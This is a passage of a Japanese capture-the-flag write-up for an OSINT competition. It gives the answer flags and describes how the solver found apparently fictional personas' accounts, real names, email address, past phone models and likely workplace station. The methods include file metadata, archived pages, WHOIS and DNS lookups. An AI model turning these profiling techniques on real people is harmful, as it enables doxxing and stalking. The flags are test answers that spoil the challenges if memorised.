2026年1月時点で、noteというサービスに古いIDのアカウントが残存しているようです。&lt;br>
このアカウントのIDを解答してください。&lt;br>
例えば、digital_jpn_gc が対象のアカウントの場合、 Flag は SWIMMER{digital_jpn_gc} となります。&lt;/p>
&lt;/blockquote>
&lt;p>「debeyohiru」で検索するとBlueskyのアカウント&lt;code>@debeyohiru.bsky.social&lt;/code>を発見．&lt;/p>
&lt;p>投稿の中に，noteのスクショがあった．&lt;/p>
&lt;blockquote class="bluesky-embed" data-bluesky-uri="at://did:plc:wgxr2fnwbyylu2bj3cx3lrfm/app.bsky.feed.post/3mavlx6v3ak2c" data-bluesky-cid="bafyreifnzg6dzqzanxhjx6xrzyut2ymlezt6sn6b2z45k2ntppw5er5okq" data-bluesky-embed-color-mode="system">&lt;p lang="ja">これも全然反響なかったな。正直寂しい。&lt;br>&lt;br>&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mavlx6v3ak2c?ref_src=embed">[image or embed]&lt;/a>&lt;/p>&amp;mdash; Debeyohiru (&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm?ref_src=embed">@debeyohiru.bsky.social&lt;/a>) &lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mavlx6v3ak2c?ref_src=embed">2025年12月27日 0:23&lt;/a>&lt;/blockquote>&lt;script async src="https://embed.bsky.app/static/embed.js" charset="utf-8">&lt;/script>
&lt;p>noteというサービスで検索すると出てきた．&lt;/p>
&lt;p>&lt;a href="https://note.com/furaigo5"target="_blank" rel="noopener noreferrer">https://note.com/furaigo5&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{furaigo5}&lt;/code>&lt;/p>
&lt;h3 id="debeyohiru_02_profile-100pt--373-solveseasy">debeyohiru_02_profile (100pt / 373 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>debeyohiru は2026年1月時点で求職中で、プロフィールページをウェブ上に公開していたようです。&lt;br>
このページを探り出し、そのURLを解答してください。&lt;br>
例えば、 &lt;a href="https://example.com/foobar"target="_blank" rel="noopener noreferrer">https://example.com/foobar&lt;/a> が対象のページの場合、 Flagは SWIMMER{https://example.com/foobar} となります。&lt;/p>
&lt;/blockquote>
&lt;p>「furaigo5」で検索すると出てきた．&lt;/p>
&lt;p>&lt;a href="https://furaigo5.github.io/profile/"target="_blank" rel="noopener noreferrer">https://furaigo5.github.io/profile/&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{https://furaigo5.github.io/profile/}&lt;/code>&lt;/p>
&lt;h3 id="debeyohiru_03_email-100pt--371-solveseasy">debeyohiru_03_email (100pt / 371 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>debeyohiru が2026年現在、普段使っているメールアドレスが知りたいです。&lt;br>
この人物が現在使用中とおぼしきメールアドレスを探り出し、解答してください。&lt;br>
例えば、メールアドレスがfoobar@example.comの場合、Flagは &lt;a href="mailto:SWIMMER%7bfoobar@example.com">SWIMMER{foobar@example.com&lt;/a>} となります。&lt;br>
警告: このアドレスに対してメールを送信してはなりません。解答に際して、メールを送る必要は一切ありません。&lt;/p>
&lt;/blockquote>
&lt;p>&lt;a href="https://furaigo5.github.io/profile/"target="_blank" rel="noopener noreferrer">プロフィールページ&lt;/a>の下の方に記載されていた．&lt;/p>
&lt;p>&lt;code>SWIMMER{furaigo5.onionsoup@gmail.com}&lt;/code>&lt;/p>
&lt;h3 id="debeyohiru_04_meal-194pt--198-solvesmedium">debeyohiru_04_meal (194pt / 198 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>debeyohiru はある料理が好物で、よく食べているようです。 直近では2026年1月10日の夕食にその料理を食べたことが確認されています。 この人物がこの日の夕食に食べたメニューを特定し、店舗のメニューに記載された名前で解答してください。&lt;br>
例えば、マクドナルドでビッグマックを食べたことが特定できた場合、Flagは SWIMMER{ビッグマック} になります。 メニュー名の表記は店舗のメニューの 日本語 表記に準拠してください。&lt;/p>
&lt;/blockquote>
&lt;p>Blueskyの投稿の中に以下がある．&lt;/p>
&lt;blockquote class="bluesky-embed" data-bluesky-uri="at://did:plc:wgxr2fnwbyylu2bj3cx3lrfm/app.bsky.feed.post/3mazue5yqdc2n" data-bluesky-cid="bafyreibsskpiqzk4h6yghewd2ay3fjkn4bqgbiv3hlxk3nwfjj4y4nuedu" data-bluesky-embed-color-mode="system">&lt;p lang="ja">早めの夕食&lt;br>&lt;br>&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mazue5yqdc2n?ref_src=embed">[image or embed]&lt;/a>&lt;/p>&amp;mdash; Debeyohiru (&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm?ref_src=embed">@debeyohiru.bsky.social&lt;/a>) &lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mazue5yqdc2n?ref_src=embed">2025年12月28日 17:04&lt;/a>&lt;/blockquote>&lt;script async src="https://embed.bsky.app/static/embed.js" charset="utf-8">&lt;/script>
&lt;blockquote class="bluesky-embed" data-bluesky-uri="at://did:plc:wgxr2fnwbyylu2bj3cx3lrfm/app.bsky.feed.post/3mc2utbra622w" data-bluesky-cid="bafyreicezhzn4b4pkv5wxhxngmt27wqx4y2ry3tcyzsjqrahqk5i5gltgi" data-bluesky-embed-color-mode="system">&lt;p lang="ja">今宵も来たぞ。今日は単品でいいや&lt;/p>&amp;mdash; Debeyohiru (&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm?ref_src=embed">@debeyohiru.bsky.social&lt;/a>) &lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mc2utbra622w?ref_src=embed">2026年1月10日 20:11&lt;/a>&lt;/blockquote>&lt;script async src="https://embed.bsky.app/static/embed.js" charset="utf-8">&lt;/script>
&lt;p>ポムの樹で食べたことはわかる．&lt;/p>
&lt;p>また，以下の投稿より，&lt;/p>
&lt;blockquote class="bluesky-embed" data-bluesky-uri="at://did:plc:wgxr2fnwbyylu2bj3cx3lrfm/app.bsky.feed.post/3mbqqz6vd5225" data-bluesky-cid="bafyreicq5sbv5ulqcxcqwabhqdm7qjewd66p3fkcrzyk36rzpsow722aly" data-bluesky-embed-color-mode="system">&lt;p lang="ja">新春モザイクアートを観測&lt;br>&lt;br>&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mbqqz6vd5225?ref_src=embed">[image or embed]&lt;/a>&lt;/p>&amp;mdash; Debeyohiru (&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm?ref_src=embed">@debeyohiru.bsky.social&lt;/a>) &lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mbqqz6vd5225?ref_src=embed">2026年1月6日 19:36&lt;/a>&lt;/blockquote>&lt;script async src="https://embed.bsky.app/static/embed.js" charset="utf-8">&lt;/script>
&lt;p>「新春 モザイクアート 駅」と検索すると，渋谷駅であることがわかる．&lt;/p>
&lt;p>&lt;a href="https://x.com/REALITY_app/status/2008071246639235175"target="_blank" rel="noopener noreferrer">https://x.com/REALITY_app/status/2008071246639235175&lt;/a>&lt;/p>
&lt;p>渋谷駅周辺のポムの樹は1店舗しかない．ポムの樹渋谷スペイン坂店のクチコミにふらいごが書き込みをしているのを発見．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im08.png"
alt="This is a image"/>&lt;/p>
&lt;p>クチコミから，冬限定メニューということがわかる．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/swimmer-osint-ctf-2026/im09.png"
alt="This is a image"/>&lt;/p>
&lt;p>調べると，豚肉とリンゴのホタテトマトクリームオムライスだとわかる．&lt;/p>
&lt;p>&lt;a href="https://www.pomunoki.com/img/release/release-281.pdf#zoom=100"target="_blank" rel="noopener noreferrer">https://www.pomunoki.com/img/release/release-281.pdf#zoom=100&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{豚肉とリンゴのホタテトマトクリームオムライス}&lt;/code>&lt;/p>
&lt;h3 id="debeyohiru_05_hidden1-100pt--276-solvesmedium">debeyohiru_05_hidden1 (100pt / 276 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>debeyohiru の本名が知りたいです。&lt;br>
この人物の実名と考えられるものを解答してください。 ローマ字（アルファベット）表記で入力してください。漢字の表記を考慮する必要はありません。&lt;br>
例えば、Sanae Takaichiが実名の場合、Flagは SWIMMER{Sanae Takaichi} となります。&lt;/p>
&lt;/blockquote>
&lt;p>プロフィールページは既に debeyohiru_02_profile で特定済み． &lt;a href="https://furaigo5.github.io/profile/"target="_blank" rel="noopener noreferrer">https://furaigo5.github.io/profile/&lt;/a>&lt;/p>
&lt;p>このページの&lt;code>script.js&lt;/code>をみるとコメントアウトで&lt;code>@author Gotanno Tsubasa&lt;/code>と書かれていた．&lt;/p>
&lt;pre tabindex="0">&lt;code>/**
* @fileoverview furaigo5 Workspace - メインスクリプト
* ナビゲーションのスムーズスクロールとモバイルメニューの制御を担当
* @author Gotanno Tsubasa
*/
/**
* DOMContentLoadedイベントで初期化処理を実行
*/
document.addEventListener(&amp;#39;DOMContentLoaded&amp;#39;, () =&amp;gt; {
initSmoothScroll();
initMobileMenu();
});
&lt;/code>&lt;/pre>&lt;p>&lt;code>SWIMMER{Gotanno Tsubasa}&lt;/code>&lt;/p>
&lt;h3 id="debeyohiru_06_hidden2-100pt--258-solvesmedium">debeyohiru_06_hidden2 (100pt / 258 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>debeyohiru が 2025年12月 時点で使用していたと考えられるスマートフォンの機種が知りたいです。&lt;br>
なお、複数の端末を使用していたと考えられる場合は、アンダーバー（_）で繋いで全てを解答してください。この場合、回答順序は問いません。&lt;br>
また、メーカー名は不要です。&lt;br>
例えば、Xperia 10 VIIとiPhone 17を使用していた場合、 Flagは SWIMMER{Xperia 10 VII_iPhone 17} となります。&lt;/p>
&lt;/blockquote>
&lt;p>Blueskyのアカウントで 2026/01/10 17:31 にスマホを変えたとあるので，過去のウェブサイトをみる必要がある．&lt;/p>
&lt;blockquote class="bluesky-embed" data-bluesky-uri="at://did:plc:wgxr2fnwbyylu2bj3cx3lrfm/app.bsky.feed.post/3mc2lwrkq2s2c" data-bluesky-cid="bafyreicpthxlxviiqjhad4nrzmgonxqcf6bhpwxcqg5szq23pwdgbx5zje" data-bluesky-embed-color-mode="system">&lt;p lang="ja">初売りでスマホ買い替えたから、プロフィールも更新しておこう&lt;/p>&amp;mdash; Debeyohiru (&lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm?ref_src=embed">@debeyohiru.bsky.social&lt;/a>) &lt;a href="https://bsky.app/profile/did:plc:wgxr2fnwbyylu2bj3cx3lrfm/post/3mc2lwrkq2s2c?ref_src=embed">2026年1月10日 17:31&lt;/a>&lt;/blockquote>&lt;script async src="https://embed.bsky.app/static/embed.js" charset="utf-8">&lt;/script>
&lt;p>まず， &lt;a href="https://web.archive.org/"target="_blank" rel="noopener noreferrer">https://web.archive.org/&lt;/a> を確認したが存在せず．&lt;/p>
&lt;p>次に， &lt;a href="https://archive.md/"target="_blank" rel="noopener noreferrer">https://archive.md/&lt;/a> を確認したところ，2026年1月2日 09:08:41 UTCのアーカイブを発見した．&lt;/p>
&lt;pre tabindex="0">&lt;code>ガジェット
スマートフォン: Pixel 8 Pro / iPhone 13 mini（検証用）
タブレット: iPad Pro 11インチ（資料閲覧・手書きメモ）
その他: Steam Deck（ゲーム兼Linuxいじり用）、Raspberry Pi 4（自宅サーバー）
&lt;/code>&lt;/pre>&lt;p>現在は以下であった．&lt;/p>
&lt;pre tabindex="0">&lt;code>ガジェット
スマートフォン: Xiaomi 15 Ultra / iPhone 13 mini（検証用）
タブレット: iPad Pro 11インチ（資料閲覧・手書きメモ）
その他: Steam Deck（ゲーム兼Linuxいじり用）、Raspberry Pi 4（自宅サーバー）
&lt;/code>&lt;/pre>&lt;p>よって，flagは以下である．&lt;/p>
&lt;p>&lt;code>SWIMMER{Pixel 8 Pro_iPhone 13 mini}&lt;/code>&lt;/p>
&lt;h2 id="tgt_lilica">tgt_lilica&lt;/h2>
&lt;h3 id="lilica_01_social-100pt--483-solveseasy">lilica_01_social (100pt / 483 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>lilica は2026年時点でクリエイターとして活動しており、「黄昏ブロッサムリリカ」と名乗っていたことが分かっています。 また、Xのアカウントを持っていたことが確認されています。&lt;br>
そのXアカウントのID（スクリーンネーム）を解答してください。&lt;br>
例えば、@gov_online が対象のアカウントの場合、Flag は SWIMMER{@gov_online} となります。&lt;/p>
&lt;/blockquote>
&lt;p>「黄昏ブロッサムリリカ」と検索するとXのアカウント&lt;code>@twilight_lilica&lt;/code>を発見．&lt;/p>
&lt;p>&lt;a href="https://x.com/twilight_lilica"target="_blank" rel="noopener noreferrer">https://x.com/twilight_lilica&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{@twilight_lilica}&lt;/code>&lt;/p>
&lt;h3 id="lilica_02_virtual_identity-100pt--338-solveseasy">lilica_02_virtual_identity (100pt / 338 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>lilica はVRにも関心があるようで、未来でもVR関連の活動がわずかながら確認されています。&lt;br>
lilica が2026年時点で使っていたVRChatのユーザーIDを特定し、解答してください。&lt;br>
VRChatのユーザー情報はブラウザからも確認できます。&lt;br>
例えば、対象アカウントのURLが &lt;a href="https://vrchat.com/home/user/usr_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"target="_blank" rel="noopener noreferrer">https://vrchat.com/home/user/usr_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&lt;/a> の場合、 Flagは SWIMMER{usr_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} となります。&lt;/p>
&lt;/blockquote>
&lt;p>&lt;a href="https://vrchat.com/home"target="_blank" rel="noopener noreferrer">https://vrchat.com/home&lt;/a> で「黄昏ブロッサムリリカ」と検索すると出てきた．&lt;/p>
&lt;p>&lt;a href="https://vrchat.com/home/user/usr_b103fac6-8341-4b89-a606-920092e75e43"target="_blank" rel="noopener noreferrer">https://vrchat.com/home/user/usr_b103fac6-8341-4b89-a606-920092e75e43&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{usr_b103fac6-8341-4b89-a606-920092e75e43}&lt;/code>&lt;/p>
&lt;h3 id="lilica_03_virtual_world-100pt--388-solveseasy">lilica_03_virtual_world (100pt / 388 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>lilica はVRChatでの活動をSNSに投稿していたようです。&lt;br>
2025年11月9日（日本時間）に投稿された画像にはある「ワールド」が写っているようです。このワールドのIDを解答してください。&lt;br>
VRChatのワールド情報はブラウザからも確認できます。&lt;br>
例えば、対象のワールドのURLが &lt;a href="https://vrchat.com/home/world/wrld_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/info"target="_blank" rel="noopener noreferrer">https://vrchat.com/home/world/wrld_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/info&lt;/a> だった場合、&lt;br>
Flagは SWIMMER{wrld_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} となります。&lt;/p>
&lt;/blockquote>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">見ず知らずの人と一対一で話すの楽しいね &lt;a href="https://t.co/J0NPIv3Fai">pic.twitter.com/J0NPIv3Fai&lt;/a>&lt;/p>&amp;mdash; 黄昏ブロッサムリリカ (@twilight_lilica) &lt;a href="https://twitter.com/twilight_lilica/status/1987359447111639464?ref_src=twsrc%5Etfw">November 9, 2025&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;p>画像検索すると「NAGiSA」だとわかる．&lt;/p>
&lt;p>&lt;a href="https://prtimes.jp/main/html/rd/p/000000003.000167131.html"target="_blank" rel="noopener noreferrer">https://prtimes.jp/main/html/rd/p/000000003.000167131.html&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://vrchat.com/home"target="_blank" rel="noopener noreferrer">https://vrchat.com/home&lt;/a> で「NAGiSA」と検索すると出てきた．&lt;/p>
&lt;p>日本人向け 1対1お話しワールド NAGiSA ［JP］&lt;/p>
&lt;p>&lt;a href="https://vrchat.com/home/world/wrld_1b94e327-036b-4d09-81be-e898d71f02cb/info"target="_blank" rel="noopener noreferrer">https://vrchat.com/home/world/wrld_1b94e327-036b-4d09-81be-e898d71f02cb/info&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{wrld_1b94e327-036b-4d09-81be-e898d71f02cb}&lt;/code>&lt;/p>
&lt;h3 id="lilica_04_domain-100pt--443-solveseasy">lilica_04_domain (100pt / 443 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>lilica は個人のWebサイトを運営していたようです。&lt;br>
このWebサイトのドメイン名が取得された日付が知りたいです。YYYY/MM/DD の形式で解答してください。&lt;br>
例えば、2026年1月2日 がドメイン取得日の場合、Flagは SWIMMER{2026/01/02} となります。&lt;/p>
&lt;/blockquote>
&lt;p>「黄昏ブロッサムリリカ」と検索すると出てきた．&lt;/p>
&lt;p>&lt;a href="https://www.twilight-lilica.com/"target="_blank" rel="noopener noreferrer">https://www.twilight-lilica.com/&lt;/a>&lt;/p>
&lt;p>以下のサイトで，ドメイン取得日を調べると，2025/10/05だとわかった．&lt;/p>
&lt;p>&lt;a href="https://tech-unlimited.com/whois.html"target="_blank" rel="noopener noreferrer">https://tech-unlimited.com/whois.html&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>Domain Name: twilight-lilica.com
Registry Domain ID: 3026076793_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.discount-domain.com
Registrar URL: http://www.onamae.com
Updated Date: 2025-10-05T16:08:51Z
Creation Date: 2025-10-05T07:08:47Z
&lt;/code>&lt;/pre>&lt;p>&lt;code>SWIMMER{2025/10/05}&lt;/code>&lt;/p>
&lt;h3 id="lilica_05_hosting-100pt--333-solvesmedium">lilica_05_hosting (100pt / 333 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>lilica が運営している個人サイトは、あるホスティングサービス上に存在しています。&lt;br>
このサイトは規約違反を行っているわけではないので何かできるわけではありませんが…… 念の為、連絡先を知っておきたいです。&lt;br>
このホスティングサービスの規約違反通報メールアドレスを解答してください。&lt;br>
例えば、メールアドレスが &lt;a href="mailto:foobar@example.com">foobar@example.com&lt;/a> の場合、Flagは &lt;a href="mailto:SWIMMER%7bfoobar@example.com">SWIMMER{foobar@example.com&lt;/a>} となります。&lt;br>
警告 : このアドレスに対してメールを送信してはなりません。 解答に際して、メールを送る必要は一切ありません。&lt;/p>
&lt;/blockquote>
&lt;p>DNSで「正引き」と「逆引き」を行う．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nslookup twilight-lilica.com
Server: 10.255.255.254
Address: 10.255.255.254#53
Non-authoritative answer:
Name: twilight-lilica.com
Address: 45.77.129.141
$ nslookup 45.77.129.141
141.129.77.45.in-addr.arpa name = 45.77.129.141.vultrusercontent.com.
Authoritative answers can be found from:
&lt;/code>&lt;/pre>&lt;p>ホスティングサービスは，Vultr(vultrusercontent.com) であるとわかる．&lt;/p>
&lt;p>Vultrの規約違反通報メールアドレスは&lt;code>abuse@vultr.com&lt;/code>である．
&lt;a href="https://www.vultr.com/legal/use-policy/"target="_blank" rel="noopener noreferrer">https://www.vultr.com/legal/use-policy/&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{abuse@vultr.com}&lt;/code>&lt;/p>
&lt;h3 id="lilica_06_name-100pt--255-solveshard">lilica_06_name (100pt / 255 solves)[hard]&lt;/h3>
&lt;blockquote>
&lt;p>lilica の本名が知りたいです。&lt;br>
この人物の実名と考えられるものを解答してください。&lt;br>
ローマ字（アルファベット）表記で入力してください。漢字の表記を考慮する必要はありません。&lt;br>
例えば、Sanae Takaichi が実名の場合、Flagは SWIMMER{Sanae Takaichi} となります。&lt;/p>
&lt;/blockquote>
&lt;blockquote class="twitter-tweet">&lt;p lang="ja" dir="ltr">面白くなっちゃって&lt;br>とりあえず髪留めこねてみたんだけど&lt;br>&lt;br>これどうやったらVRCのアクセサリにできるんだろう？&lt;a href="https://t.co/TR5T7GFce8">https://t.co/TR5T7GFce8&lt;/a> &lt;a href="https://t.co/7IlfzAeqwc">pic.twitter.com/7IlfzAeqwc&lt;/a>&lt;/p>&amp;mdash; 黄昏ブロッサムリリカ (@twilight_lilica) &lt;a href="https://twitter.com/twilight_lilica/status/2000551415039791278?ref_src=twsrc%5Etfw">December 15, 2025&lt;/a>&lt;/blockquote> &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;p>このツイートのリンクから，&lt;code>simple_hair_pin.fbx&lt;/code>のファイルをダウンロードし，適当にメモ帳で開くと，文字化けしているが，一部は読める．&lt;/p>
&lt;pre tabindex="0">&lt;code>Kaydara FBX Binary   
FBXHeaderExtensiont   FBXHeaderVersionI・ ・  
FBXVersionI ﾈ   EncryptionTypeI ) CreationTimeStamp   VersionI・ 9   YearI・ \   MonthI
}   DayI ・   HourI ﾃ   MinuteI ・   SecondI
  
MillisecondIj r  ) CreatorS$ FBX SDK/FBX Plugins version 2020.3.4ﾘ
OtherFlagsｿ   TCDefinitionI   &amp;#39; SceneInfoS GlobalInfo SceneInfoS UserDataK 
TypeS UserDatap   VersionId ｬ MetaDataｶ   VersionId ﾙ   TitleS    SubjectS &amp;#34;   AuthorS H   KeywordsS n   RevisionS ・   CommentS ・ Properties70j   PS
DocumentUrlS KStringS UrlS SQ C:\Users\shiharu_nanaogi\Documents\modeling\vrc_test\hair_pin\simple_hair_pin.fbx  ・ PS SrcDocumentUrlS KStringS UrlS SQ C:\Users\shiharu_nanaogi\Documents\modeling\vrc_test\hair_pin\simple_hair_pin.fbxD  $ PS OriginalS CompoundS S ・  : PS Original|ApplicationVendorS KStringS S S   P PS Original|ApplicationNameS KStringS S S Maxon Cinema 4D 2025.3.2W  ; PS Original|ApplicationVersionS KStringS S S ｾ  M PS Original|DateTime_GMTS DateTimeS S S 15/11/2025 00:00:00.000   1 PS Original|FileNameS KStringS S S H  % PS
&lt;/code>&lt;/pre>&lt;p>この中に，パス&lt;code> C:\Users\shiharu_nanaogi\Documents\modeling\vrc_test\hair_pin\simple_hair_pin.fbx&lt;/code>があり，本名があった．&lt;/p>
&lt;p>&lt;code>SWIMMER{shiharu_nanaogi}&lt;/code>&lt;/p>
&lt;h3 id="lilica_07_work-168pt--206-solvesmedium">lilica_07_work (168pt / 206 solves)[medium]&lt;/h3>
&lt;blockquote>
&lt;p>lilica は、Xとは別のSNSにもアカウントを所持しているようです。&lt;br>
このアカウントの情報から職場の最寄り駅として推定されるものを、東京メトロの駅名 で解答してください。&lt;br>
例えば、推定される職場の最寄り駅が 新宿三丁目駅 の場合、Flagは SWIMMER{新宿三丁目} となります。&lt;/p>
&lt;/blockquote>
&lt;p>インスタグラムで本名を検索すると出てきた．&lt;/p>
&lt;p>目黒川の写真などが投稿されているので，中目黒を試すと正解だった．&lt;/p>
&lt;p>&lt;code>SWIMMER{中目黒}&lt;/code>&lt;/p>
&lt;h2 id="research_2025">research_2025&lt;/h2>
&lt;h3 id="cx-100pt--523-solveseasy">cx (100pt / 523 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>2025年春、かつて香港に存在していた空港の100周年を記念して、特別なフライトが実施されたようです。&lt;br>
このフライトの便名を解答してください。&lt;br>
例えば、便名が JL2026 のとき、Flag は SWIMMER{JL2026} となります。&lt;/p>
&lt;/blockquote>
&lt;p>ChatGPTですぐ出てきたので，確認して提出．&lt;/p>
&lt;p>&lt;code>SWIMMER{CX8100}&lt;/code>&lt;/p>
&lt;h3 id="pilot-100pt--447-solveseasy">pilot (100pt / 447 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>cx の問題で示されたフライト中、添付画像の席に座っていた人物の名前を英語で解答してください。&lt;br>
（なお、添付画像は座席を示すためのものであり、当該フライトの実際の写真ではありません）&lt;br>
例えば、人物の名前が John Doe のとき、Flag は SWIMMER{John Doe} となります。&lt;/p>
&lt;/blockquote>
&lt;p>ChatGPTですぐ出てきたので，確認して提出．&lt;/p>
&lt;p>&lt;code>SWIMMER{Adrian Scott}&lt;/code>&lt;/p>
&lt;h3 id="flag_on_the_don-100pt--345-solveseasy">flag_on_the_don (100pt / 345 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>2025年8月28日、群馬県で「太鼓の達人」を利用したイベントが開催されました。&lt;br>
その会場となった建物はどこでしょうか。 OpenStreetMapのウェイ（way）番号で解答してください。&lt;br>
例えば、建物が 123456789 というway番号であれば、Flagは SWIMMER{123456789} となります。&lt;/p>
&lt;/blockquote>
&lt;pre tabindex="0">&lt;code>&amp;#34;群馬県&amp;#34; &amp;#34;太鼓の達人&amp;#34; 2025年8月28日
&lt;/code>&lt;/pre>&lt;p>とでも検索すれば，高齢者向けeスポーツ大会開催 群馬県渋川市のイベントが見つかる．&lt;/p>
&lt;p>このイベントについて調べていくと，以下のpdf資料を発見．&lt;/p>
&lt;p>&lt;a href="https://www.city.shibukawa.lg.jp/manage/contents/upload/68870b94eeb0d.pdf"target="_blank" rel="noopener noreferrer">https://www.city.shibukawa.lg.jp/manage/contents/upload/68870b94eeb0d.pdf&lt;/a>&lt;/p>
&lt;p>場所は，渋川市民会館だとわかった．&lt;/p>
&lt;p>OpenStreetMapで渋川市民会館を調べると，ウェイ: 渋川市民会館 (628293186)とヒット．&lt;/p>
&lt;p>&lt;a href="https://www.openstreetmap.org/way/628293186"target="_blank" rel="noopener noreferrer">https://www.openstreetmap.org/way/628293186&lt;/a>&lt;/p>
&lt;p>&lt;code>SWIMMER{628293186}&lt;/code>&lt;/p>
&lt;h3 id="obsolete-100pt--349-solveseasy">obsolete (100pt / 349 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>2025年11月、「台湾有事」を巡って日中関係が悪化しました。&lt;br>
その中で、在日本中国大使館のSNSアカウントは国連憲章の「敵国条項」について言及する投稿を行いました。&lt;br>
これに対し、日本の外務省は「その条項は 1995年の国連決議 によって死文化（obsolete）している」と反論したことが報じられています。&lt;br>
さて、この決議において、投票を 棄権 した国がいくつかあります。それはどこの国か、解答してください。&lt;br>
決議に関する公式記録に記載されている国名をアンダーバー (_) で区切ったもの（順不同）をFlagとします。&lt;br>
たとえば、UNITED STATES（アメリカ合衆国）とRUSSIAN FEDERATION（ロシア連邦）と記載されていた場合、Flagは SWIMMER{UNITED STATES_RUSSIAN FEDERATION} となります。&lt;/p>
&lt;/blockquote>
&lt;p>調べた結果，以下のサイトを発見．&lt;/p>
&lt;p>&lt;a href="https://press.un.org/en/1995/19951211.ga9031.html"target="_blank" rel="noopener noreferrer">https://press.un.org/en/1995/19951211.ga9031.html&lt;/a>&lt;/p>
&lt;blockquote>
&lt;p>3 abstentions (Cuba, Democratic People&amp;rsquo;s Republic of Korea and Libya).&lt;/p>
&lt;/blockquote>
&lt;p>この三つの国名だとわかった．次に，公式記録に記載されている国名を探すと，以下のサイトを発見．&lt;/p>
&lt;p>&lt;a href="https://digitallibrary.un.org/record/284135"target="_blank" rel="noopener noreferrer">https://digitallibrary.un.org/record/284135&lt;/a>&lt;/p>
&lt;ul>
&lt;li>DEMOCRATIC PEOPLE&amp;rsquo;S REPUBLIC OF KOREA&lt;/li>
&lt;li>CUBA&lt;/li>
&lt;li>LIBYAN ARAB JAMAHIRIYA&lt;/li>
&lt;/ul>
&lt;p>よって，以下が得られた．&lt;/p>
&lt;p>&lt;code>SWIMMER{DEMOCRATIC PEOPLE'S REPUBLIC OF KOREA_CUBA_LIBYAN ARAB JAMAHIRIYA}&lt;/code>&lt;/p>
&lt;h3 id="truck-100pt--257-solveseasy">truck (100pt / 257 solves)[easy]&lt;/h3>
&lt;blockquote>
&lt;p>あるトラックが 8773X3XQ+JWQ を2025年6月21日 13:39:54（現地時間）ごろに通過しました。このトラックの車体に書かれていたFQDNを解答してください。&lt;br>
たとえば、www.google.com の場合、Flagは SWIMMER{www.google.com} となります。&lt;/p>
&lt;/blockquote>
&lt;p>Google Mapで&lt;code>8773X3XQ+JWQ&lt;/code>を検索すると，&amp;ldquo;高さ制限 11フート8インチ橋 The Can Opener Bridge of Durham&amp;rdquo; が表示された．&lt;/p>
&lt;p>この橋について調べると，以下のサイトにたどり着いた．&lt;/p>
&lt;p>&lt;a href="https://11foot8.com/about/the-documentary/"target="_blank" rel="noopener noreferrer">https://11foot8.com/about/the-documentary/&lt;/a>&lt;/p>
&lt;blockquote>
&lt;p>For the past ten years, Jürgen Henn has filmed over-height trucks crashing into the 11foot8 train bridge affectionately nicknamed the “Can Opener.” In that time, millions have viewed the crashes online. Regional, national, and international news organizations have dined out on the story and the goofy crash reels. But why do motorists continue to crash despite the many warnings, sensors, and signs? And what is it about these crashes that holds our attention? In this piece, we look for the humanity in human error.&lt;/p>
&lt;/blockquote>
&lt;p>この鉄道橋は，高さ制限が低いため，多くのトラックが屋根を削られる事故が起きたことで有名になり，専用のウェブサイトが運営されているらしい．&lt;/p>
&lt;p>2025年6月21日の記事は以下である．&lt;/p>
